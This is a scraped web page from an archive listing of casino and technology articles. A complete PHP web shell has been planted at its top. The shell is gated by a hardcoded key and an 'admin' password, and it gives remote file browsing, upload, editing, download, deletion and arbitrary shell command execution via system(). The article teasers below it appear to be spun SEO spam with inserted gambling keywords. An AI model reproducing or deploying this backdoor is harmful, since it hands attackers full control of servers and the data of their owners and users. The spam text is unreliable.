if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } archive – collectives.berlin

Your digital paradise.

Category: archive

  • Online casino: games, finance, incentives and gambler features

    Online casino: games, finance, incentives and gambler features Web operators constitute virtual platforms where users access wagering amusement through internet links. These operators present slot machines, table games, real-time dealer rooms, and sports betting selections. Current operators combine secure transaction platforms, promotional promotions, and portable functionality. Licensing agencies oversee processes to maintain equity and openness.…

    Click or not…

  • Online Casino Elements That Count More Than Major Deals

    Online Casino Elements That Count More Than Major Deals Bonuses attract notice, yet lasting contentment comes from stable mechanics behind a system. Reliable payouts, transparent conditions, and consistent technology shape regular play far more than any introductory promotion. Gamblers who appreciate nuovi casino online practical performance over gaudy marketing frequently stay longer and believe in…

    Click or not…

  • Digital casino: offerings, finance, promotions and player features

    Digital casino: offerings, finance, promotions and player features Web sites embody electronic sites where players access gaming recreation through web connections. These operators feature slot machines, table games, live dealer rooms, and sports betting alternatives. Current platforms integrate protected transaction systems, advertising campaigns, and portable functionality. Licensing regulators govern processes to maintain fairness and clarity.…

    Click or not…

  • Как нынешние веб-обозреватели становятся умнее

    Как нынешние веб-обозреватели становятся умнее Эволюция интернет-навигаторов: из простых вьюеров до интеллектуальным помощникам. В начале 2000-х годов большинство использующих воспринимали браузер как второстепенный элемент: простой интерфейс для доступа к сайтам, где основной целью было быстро открыть страницу и не зависнуть в процессе. Однако за последние двадцать лет интернет-обозреватели развились из лаконичных софтверов до комплексных экосистем,…

    Click or not…

  • How to choose a trustworthy web-based casino

    How to choose a trustworthy web-based casino Picking a dependable online casino necessitates meticulous evaluation of various elements that define platform protection and player experience. The online gambling market offers thousands of choices, rendering the decision challenging for novices and seasoned players. A reliable casino must exhibit legitimate licensing, clear financial practices, and verified security…

    Click or not…

  • How to select a trustworthy digital casino

    How to select a trustworthy digital casino Selecting a reliable online casino demands careful evaluation of multiple aspects that establish platform safety and player experience. The virtual gambling industry provides thousands of options, creating the decision difficult for beginners and seasoned players. A dependable casino must exhibit valid licensing, transparent financial procedures, and established security…

    Click or not…

  • Casino on-line sites: enrollment, games, and protected entry

    Casino on-line sites: enrollment, games, and protected entry Virtual gambling venues supply entertainment through internet links, permitting users to access different gaming options from any place. These sites work under permits issued by governing bodies, maintaining just play and transparent procedures. Players can join in slot machines, card games, roulette, and live dealer sessions. Registration…

    Click or not…

  • Casino Online: Comprehensive Manual to Entertainments, Incentives and Payments

    Casino Online: Comprehensive Manual to Entertainments, Incentives and Payments Digital gaming services have transformed recreation by giving participants entry to thousands of options from desktop computers and mobile devices. A casino online offers slot machines, table games, live dealer sessions and progressive jackpots that compete traditional venues. Contemporary services merge sophisticated software with secure payment…

    Click or not…

  • Каким образом работает идентификация лицевых образов в мобильных устройствах

    Каким образом работает идентификация лицевых образов в мобильных устройствах Почему мы предпочитаем разблокировку по лицевому распознаванию В прошлые годы распознавание лиц превратилось в одной из наиболее востребованных опций для разблокировки мобильных телефонов. Еще некоторые годов назад основная часть использующих обходились пин-кодами, ключами доступа или сканерами отпечатков пальцев. Но при появлением подобных технологий, как вулкан россия,…

    Click or not…

  • Технологии предстоящего, какие на данный момент существуют на сегодняшний день

    Технологии предстоящего, какие на данный момент существуют на сегодняшний день Зачем предстоящее наступает скорее, чем мы с вами думаем Похоже, что будущие инновации — это нечто недосягаемое, находящееся только в кинолентах и мечтах писателей. Тем не менее когда пристально всмотреться к окружающему миру, становится очевидно: многие техники, которые еще вчера казались невозможными, уже прочно закрепились…

    Click or not…